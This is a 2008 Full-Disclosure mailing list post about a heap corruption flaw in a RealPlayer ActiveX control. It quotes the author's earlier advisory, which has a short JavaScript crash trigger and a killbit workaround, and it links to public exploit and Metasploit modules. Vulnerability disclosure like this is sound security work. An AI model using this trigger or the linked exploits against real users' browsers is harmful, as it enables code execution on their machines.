full-disclosure - Re: Real Networks RealPlayer ActiveX Control Heap Corruption

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Message-Id: <20080401154635.1A3551A0039@mailserver8.hushmail.com>
Date: Tue, 01 Apr 2008 11:46:34 -0400
From: "Elazar Broad" <elazar@...hmail.com>
To: <full-disclosure@...ts.grok.org.uk>
Cc: 
Subject: Re: Real Networks RealPlayer ActiveX Control Heap
	Corruption

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Now that this is patched...

http://milw0rm.com/exploits/5332
http://metasploit.com/svn/framework3/trunk/modules/exploits/windows/
browser/realplayer_console.rb

Elazar


On Mon, 10 Mar 2008 01:50:57 -0400 Elazar Broad
<elazar@...hmail.com> wrote:
>Who:
>Real Networks
>http://www.real.com
>
>What:
>Real Networks Real Player is a popular media player.
>
>How:
>Real Player utilizes an ActiveX control to play content within the
>users browser.
>
>rmoc3260.dll version 6.0.10.45
>{2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93}
>{CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA}
>
>It is possible to modify heap blocks after they are freed and
>overwrite certain registers, possibly allowing code execution.
>Like
>so:
>
>------------
>var buf = '';
>while (buf.length < 1005) buf = buf + 'A';
>
>m = obj.Console;
>obj.Console = buf;
>obj.Console = m
>
>//repeat
>m = obj.Console;
>obj.Console = buf;
>obj.Console = m --> Should crash here
>-------------
>
>Workaround:
>Set the killbit for this control. See
>http://support.microsoft.com/kb/240797
>
>Fix:
>No official fix known
>
>Exploit:
>Working on it
>
>Elazar
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